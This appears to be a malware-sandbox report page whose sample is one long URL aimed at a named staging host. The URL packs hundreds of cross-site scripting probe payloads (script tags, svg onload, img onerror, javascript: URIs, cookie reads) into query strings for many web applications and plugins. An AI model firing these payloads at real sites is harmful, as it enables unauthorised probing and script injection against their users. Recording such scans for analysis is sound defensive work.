Static task

static1

URLScan task

urlscan1

Behavioral task

behavioral1

Sample

https://stage.electrification.coursefinder.abb.com/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp?!'><sVg/OnLoAD=alert`1337`// "></script><script>alert(document.domain)</script> </script><script>alert(document.domain)</script> <script>alert(1068801823)</script> <script>alert(2010790722)</script> =<script>alert(document.domain)</script> AJAX_CALL=Y&items[ITEMS][BOTTOM][LEFT]&items[ITEMS][TOGGLABLE]=test123&items[ITEMS][ID]=<img src="// );//""><div>x });var BX = window.BX;window.BX = function(node, bCache){};BX.ready = function(handler){};function __MobileAppList(test){alert(document.domain);};//</div> Filename=Filename'></script><script>alert(document.domain)</script> IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup&QueryText=(dInDate >= `<$dateCurrent(-7)$>`)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)> IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>&dSecurityGroup&QueryText=(dInDate >= `<$dateCurrent(-7)$>`)&PageTitle=OO IsisScript=bibliopac/bin/bibliopac.xic&db="><script>prompt(document.domain)</script> L=english&pmc_username=</script><script>alert(document.domain)</script>< Login=Denied&UID=</script><script>alert(document.domain)</script> Login=Error&Error=</script><script>alert(document.domain)</script> No=0000&ReaderNo=0000&CardFormatNo=<img src=x onerror=alert(document.domain)> OK=</script><script>alert(document.domain)</script> Page=LoginPage&NEW_SESSION=TRUE&TargetService=/knowage/servlet/AdapterHTTP?Page=LoginPage</script><script>alert(document.domain)</script> PriNav=Bgz&filtername=Name&filtervalue=</script><script>alert(document.domain)</script>&Send=Filter QueueFilter=yu1ey"><script>alert("1")</script>qb68 RESULT=",msgArray);alert(document.domain);// Referrer=XSS";><script>alert(document.domain)</script> SERVER_NAME=<script>alert(document.domain)</script> SQ=0&srch=x" onmouseover=alert(1) x="&t=search&btn_submit.x=0&btn_submit.y=0 SQ=0&t=search&srch=2mo2T9k7deLQ8KobpuE0UZFe8NB&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x" onmouseover=alert(document.domain) x= SQ=0&t=search&srch=2mo2T9k7deLQ8KobpuE0UZFe8NB&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x" onmouseover=alert(document.domain) x=" SQ=0&t=search&srch=2mo2YvD5Mfsacelwfia8wqUO70b&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x" onmouseover=alert(document.domain) x= SQ=0&t=search&srch=2mo2YvD5Mfsacelwfia8wqUO70b&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x" onmouseover=alert(document.domain) x=" Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg="><script>alert(/2mo2S3ILHXBkl91zycjFkRkpJU9/);</script>< Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg="><script>alert(/2mo2YpDC8mjyMa3qfn7O6n2APQh/);</script>< a' type= 'text' autofocus onfocus='alert(document.domain) a=<script>alert(document.domain)</script> action=</script><script>alert(document.domain)</script><script> action=Login&module=Users&print=a&"/><script>alert(1)</script> action=all&format=debug&xss=<script>alert(document.domain);</script> action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=<script>alert(document.domain)</script> action=bwg_frontend_data&shortcode_id=1" onmouseover=alert(document.domain)// action=cdi_collect_follow&trk=<script>alert(document.domain)</script> action=dprv_log_event&message=<script>alert(document.domain)</script> action=lp_background_single_email&lp-dismiss-notice=xxx<img src=x onerror=alert(document.domain)> action=manage&mtype=userset&backurl=</script><script>alert(document.domain)</script> action=post&order=bszop"><script>alert(document.domain)</script> action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script> action=the_champ_sharing_count&urls[]=<img src=x onerror=alert(document.domain)> action=tp_tp&e=g&m=s&tl=en&q=<img src=x onerror=alert(document.domain)> action=window&callback=</script><img/src/onerror=alert(document.domain)> action=woocs_get_products_price_html&woocs_in_order_currency=<img src onerror=alert(document.domain)> action=woof_draw_products&woof_redraw_elements[]=<img src=x onerror=alert(document.domain)> action=woot_get_smth&what={"call_action":"x","more_data":"\u003cscript>alert(document.domain)\u003c/script>"} action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script> action=zip_search&nonce=5ccfc183d6a&zip=10001&callback=jQuery370034739925402950467_1693440634785"><img src=x onerror=alert(1)> aid=3 anno=2019&id_sessione&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671"</script><script>alert(document.domain)</script> anno=2021&id_sessione&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=žée&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=žée&T_PHPR_DB_PASS=žée&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=žée&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85</script><script>alert(document.domain)</script>f9xkbujgt24&form_availability_calendar_template=1 anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b</script><script>alert(document.domain)</script>w5px3=1 app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)// appservlang=<svg/onload=confirm('xss')> aps=1&start=</script><script>alert(document.domain)</script>&end=500&match audioPlayerOption=1&fileList0[title]=<script>alert(document.domain)</script> author=1</script><script>alert(document.domain)</script> avatar=https://stage.electrification.coursefinder.abb.com/user/pix.php/498/f1.jpg&nom=test_user');alert(document.domain);//&ses=test_user&t=1 bundle=';alert(document.domain);var ok=' c=api&m=data2&function=<script>alert(document.domain)</script>p&format=php callback=</script><script>alert(document.domain)</script> cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE challenge=</script><script>alert(document.domain)</script> chapter=</script><script>alert(document.domain)</script> cmdb_edit_path=");alert('document.domain');// collectionName=<img src=x onerror=alert(document.domain)>&parentPath=<img src=x onerror=alert(document.domain)> color="><svg/onload=alert(document.domain)>" command=<script>alert(document.cookie)</script> config=rewe&version=7.5.0<script>confirm(2mo2SDkOLBb8dwbhP5asoQUt76z)</script>&win=2707 config=rewe&version=7.5.0<script>confirm(2mo2XgHzGdM5zaj8cavTlZiw8d1)</script>&win=2707 configstep=2&profile=</script><script>alert(document.domain)</script> contentId='\"><svg/onload=alert(/xss/)> cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a"><svg/><"&end=a"><svg/onload=alert(1)><" ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=<script>alert(document.domain);</script>&ct_mls&ct_brokerage=0&lat&lng currentpath=<script>alert(document.domain)</script> customctid=</script><script>alert(document.domain)</script> dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain) data[performredirect]="><script>alert(document.domain)</script>&page=login dataset=zulu</script><script>alert(document.domain)</script> debug_host=</script><script>alert(document.domain)</script>&start_debug=1 desktop_url=javascript:alert(1337);//itms:// device_id="zlo onerror=alert(1) " dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname=<group_name_eg_netsweeper_student_allow_internet_access&policyname=auto_created&username=root&userip=127.0.0.1&connectionip=127.0.0.1&nsphostname=netsweeper&url=</script><script>alert(document.domain)</script> err=--><script>alert('2mo2SfF33fbyPlTXp2sNGekzNrs')</script><!--&lang=en err=--><script>alert('2mo2YnFqrtmcvbfFBjS2kRI1My7')</script><!--&lang=en errCode="><img src=x onerror=alert(document.domain)> err_msg=<script>alert(document.domain);</script> errcode=0&login=\" onfocus=alert(document.domain); autofocus \"&err=U errmsg=ABABAB--><script>alert(1337)</script> error=1<script>alert(document.domain)</script> errormessage='"><script>alert(document.domain)</script>&description=test exec=valider_xml&var_url="></script><script>alert(document.domain)</script> fccc'\"><svg/onload=alert(/xss/)> font-type=google&font-family='/onerror='alert(document.domain)'/b=' font-type=google&font-family=aaaaa&font-weight=' accesskey='x' onclick='alert(document.domain)' class=' font-type=google&font-family=aaaaa&font-weight=' onerror=alert(document.domain) b=' format="><script>alert(document.domain)</script> frame_name=x&src=x&single_signout=x'></iframe><script>alert(1)</script> from="><script>alert(document.domain)</script> from=javascript:alert(document.cookie) graph="zlo onerror=alert(1) " h=</script><script>alert(document.domain)</script>&fmt=plot_cdf&log_scale=true hostSignOn=true&servProvCode=k3woq"^confirm(document.domain)^"a2pbrnzx5a9 hostname=</title><script>alert(document.domain)</script><title> id="><script>alert(document.domain)</script> id=1"</script><script>alert(document.domain)</script> id=1&class="</script><script>alert(document.domain)</script> id=4&play=1&pow=sds"><script>alert(document.domain)</script><"&bgcolor=green id=</form><iMg src=x onerror="prompt(document.domain)"><form> id=</script><script>alert(document.domain)</script> id=http://</script><svg/onload=alert('2mo2TNgBvv7v0wiD0P9hbjHAVDw')> id=http://</script><svg/onload=alert('2mo2Yvd1pMG3GcceRtnTSlQ0VII')> id=wiki:welcome&at=<svg onload=alert(document.domain)> is2sim="zlo onerror=alert(1) " isv&akey&hostid&count="><script>alert(document.domain)</script> javascript:alert(document.domain) jd=a'"><script>alert(1)</script> jkuh3</script><script>alert(document.domain)</script>yql8b=1 key='>"<svg/onload=confirm('xss')> key=<img src onerror=alert(document.domain)> keyword="><script>alert(1337)</script> keyword_search=--!>" autofocus onfocus=alert(/2mo2SZf4HS5me8rgrsbSrGyVR2f/);// keyword_search=--!>" autofocus onfocus=alert(/2mo2YxVhTg1C3yFEmGUsg0rTvNv/);// keywords=<input/Autofocus/%0D*/Onfocus=alert(123);>&start_date=xxxxxxxxxxxx&avaibility=13 keywords=ABC<div style="><script>alert(document.domain)</script> label="><svg/onload=alert(1337)>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter&nodeFilteringType=ALL&nodeFilter&launcherFilteringType=ALL&launcherFilter&causeFilteringType=ALL&causeFilter&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json={"label": "Search Results", "range": "2", "rangeUnits": "Weeks", "jobFilteringType": "ALL", "jobNameRegex": "", "jobFilter": "", "nodeFilteringType": "ALL", "nodeNameRegex": "", "nodeFilter": "", "launcherFilteringType": "ALL", "launcherNameRegex": "", "launcherFilter": "", "causeFilteringType": "ALL", "causeNameRegex": "", "causeFilter": "", "Jenkins-Crumb": "4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96"}&Submit=Search lang="></script><script>alert(document.domain)</script><p class="&p=1 language="><img src=x onerror=alert(1)> language="><img src=x onerror=alert(document.domain)> language=language&module=module"></script><script>alert(document.domain)</script> language=language'"()&%<yes></script><script>alert(document.domain)</script>&module=module last_page=session/login&language=en"><script>alert(document.domain)</script>&login&CipheredValue layout=<script>alert(document.domain)</script> link_url=</script><script>alert(document.domain)</script> loginMode=alert(document.domain) loginStatus=false&errorCode=');alert(document.domain)// login[password]=test"><svg/onload=alert(document.domain)>&login[use_curr]=1&login[submit]=Change Password lvl=author_see&id=42691'><script>alert(document.domain)</script> m=search&c=index&a=initxqb4n<img src=a onerror=alert(document.domain)>cu9rs&modelid=1&q=tes mailbox=</script><script>alert(document.domain)</script> mailbox=</script><script>alert(document.domain)</script>&what=x&where=BODY&submit=Search mailbox=INBOX&what=x&where=</script><script>alert(document.domain)</script>&submit=Search mapp_iframe=1&mapid=--><img src onerror=alert(document.domain)> message=<img src="" onerror="alert(1);">1</img> mid=0&usr=admin'></script><script>alert(document.domain)</script> mimeType=text/html mod=list</script><script>alert(document.domain)</script> mode=cardlogin&foruserlogin=</script><script>alert(document.domain)</script>&model=5160&optioncss=print module='onm<a>ouseover=alert(document.domain)'"tabindex=1&style=width:100%;height:100%;&id=x&data-show-ui=admin&class=x&from_url=https://stage.electrification.coursefinder.abb.com module=admin/modules/manage&id=test" onmousemove=alert(document.domain) xx="test&from_url=x msg=30&data=';alert('document.domain');// msg=</script><script>alert(document.cookie);</script> msg=</script><script>alert(document.domain)</script> msgId=';alert('document.domain')// next= 8"onmouseover="alert(document.domain) nodatamsg=</script><script>alert(document.domain)</script> num_app_tipo_richiesti1="><script>javascript:alert('XSS')</script> operation=11111111</script><script>alert(document.domain)</script> operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E operatorlocale="><script>alert(document.domain)</script> optpage=</script><script>alert(document.domain)</script> optype=Parameters&bgColor=_000000"onload="prompt(1) orgId=1 p=/wp-content/plugins/hmapsprem/foo"</script><script>alert(document.domain)</script> p=1&xsg-provider=<img src onerror=alert(document.domain)>&xsg-format=yyy&xsg-type=zz&xsg-page=pp p=<img src onerror=alert(/XSS/)>&debug_url=1 p=banlist&advSearch=0'"></script><script>alert(document.domain)</script>&advType=btype page=</script>"><script>alert(document.domain)</script> page=</script><script>alert(document.domain)</script> page=<script>alert(document.domain)</script> page=cf7sr_edit&"></script><script>alert(document.domain)</script> page=chaty-contact-form-feed&search=</script><img src onerror=alert(document.domain)> page=contact-form-supsystic&tab=</script><script>alert(document.domain)</script> page=javascript:alert(document.domain)// page=nsp_search&what1=' style=animation-name:rotation onanimationstart=alert(document.domain) x page=pie-register&show_dash_widget=1&invitaion_code=PC9zY3JpcHQ PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ page=popup-wp-supsystic&tab=</script><script>alert(document.domain)</script> page=servers&mode=test&id="></script><script>alert(document.domain)</script> page=servers&mode=test&id=</script><script>alert(document.domain)</script> page_id=0&&errors[fu-disallowed-mime-type]0[name]=</script><script>alert(document.domain)</script> pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq"><script>alert(document.domain)</script> pagename=OpenMarket/Xcelerate/Actions/Security/NoXceleditor&WemUI=qqq';}</script><script>alert(document.domain)</script> pagename=OpenMarket/Xcelerate/Actions/Security/ProcessLoginRequest&WemUI=qqq';}</script><script>alert(document.domain)</script> piu17</script><script>alert(document.domain)</script>e3esq=1 poID=19&typeID=3&prodID='"><svg/onload=alert(document.domain)> port="></script><script>alert(document.domain)</script> post_type=post&s="><script>alert(/2mo2SLEC6wmXoFTDOitwh5updtv/)</script> post_type=post&s="><script>alert(/2mo2Z0ND9d8B6mQu3hxbTEv1Wta/)</script> prefix="><script>alert(document.domain);</script>< prezzoperiodo4="><script>javascript:alert('XSS')</script> prod=';prompt`document.domain`;// q="></script><script>alert(document.domain)</script> q="><img src=x onerror=alert(1)> redir=javascript:alert(document.domain) redirect=setting.htm <script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port&TF_port&B_mac_apply=APPLY redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask="><script>alert(2mo2SFUZSaDCnJXCIf2XZJ7B4Qu)</script>&radio_ping_block=0&max_tcp=3&B_apply=APPLY redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask="><script>alert(2mo2Z5JsXauWv5TrwgycIJFDcZO)</script>&radio_ping_block=0&max_tcp=3&B_apply=APPLY redirect_to=/asdf"><script>alert(document.domain)</script> ref="></script><script>alert(document.domain)</script> referer="><script>confirm(document.domain)</script> returnTo=</script><script>alert(document.domain)</script> return_url=javascript:alert(document.domain) s="><img src=x onerror=alert(document.domain)> s=</script><script>alert(document.domain)</script> s=<img src=x onerror=alert(123);> schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q</script><script>alert(document.domain)</script>zp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=$ListManager$ListManager$$query&query.showRows=ALL search="><img src=x onerror=alert(document.domain)> search_term=</script><script>alert(document.domain)</script>&location_search&nearby=off&address_lat&address_lng&distance=10&lcats[] search_title&location&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10"</script><script>alert(document.domain)</script> search_title="><img src=x onerror=alert(domain)>&ajax_filter=true&posted=all&sort-by=recent searchstring2&searchstring='>"</script><script>alert(document.domain)</script> section="><h1>hello</h1><script>alert(/2mo2SN7F3CL0AR5NBt2tuQHfvoR/)</script> section="><h1>hello</h1><script>alert(/2mo2YW2gBy1Ibm4NMUdeoaRqXrx/)</script> server=018192&url=</script><script>alert(document.domain)</script> server=db&username=root&db=mysql&table=event</script><script>alert(document.domain)</script> si=1&so=0&sfi=4&st=message&csi=1&action&cso=0&id=""></script><script>alert(document.domain)</script> site_url=javascript:alert(document.domain);&message=Not Found&site_name=404 sta="><img src=x onerror=alert(document.domain)> stamp=16170297</script><script>alert(document.domain)</script> stamp=<script>alert(document.domain)</script> step=database_config&db_error=<img src=x onerror=alert(document.domain) /> subject=server&server=test success=</script><script>alert(document.cookie);</script> theme=tes"><script>alert(document.domain)</script> thruk/cgi-bin/status.cgi?style=combined&title='></script><script>alert(document.domain)</script> time_begin=xx"><script>alert(document.domain)</script><"&time_end&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj'&sort_type=0&record=10&command= \ tipo_tabella="><script>javascript:alert('XSS')</script>&idclienti=1 title=x&msg=&#<svg/onload=alert(1337)>; to=/92874';alert(document.domain)//280 toast=</script><script>alert(document.cookie);</script> tool=search&query="><script>alert(document.domain)</script> topicId=</script><script>alert(document.domain)</script> type="</script><script>alert(document.domain);</script><script> type=</script><script>alert(document.domain)</script> type=</script><script>alert(document.domain)</script>&live_edit=true&from_url=test type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1&note=</textarea><script>alert(document.domain)</script> u=</script><script>alert(document.domain)</script> uid="><script>alert(document.domain)</script> url=" onfocus=alert(document.domain) autofocus=1 url="><script>alert(document.domain)</script> url=1&ajax=</script><script>alert(document.domain)</script> url=<script>alert(document.domain)</script> url=https://google.com<Svg/onload=alert(document.domain)> url=javascript://%0aalert(document.domain) urll="><script>alert(document.domain)</script> username=<script>alert(document.domain)</script> username=test"><svg/onload=alert(document.domain)> v=d&p=";alert(document.domain);" view=search&searchOwnerUserName=<script>alert(1)</script>&Search=Search viewSurveyError=Unknown survey"><img src=x onerror=alert(document.domain)> windowTitle=AdministratorHelpWindow></TITLE></HEAD><body><script>alert(1337)</script><!--&>helpFile=concepts.html wordpress_user=<script>alert(1)</script> year=2021</title><script>alert('2mo2SN8G5evHQdyEuSu7r6mI5HW')</script> year=2021</title><script>alert('2mo2XzOxtmZUMkBeXGIP4yy47dC')</script>

Resource

win10v2004-20240802-en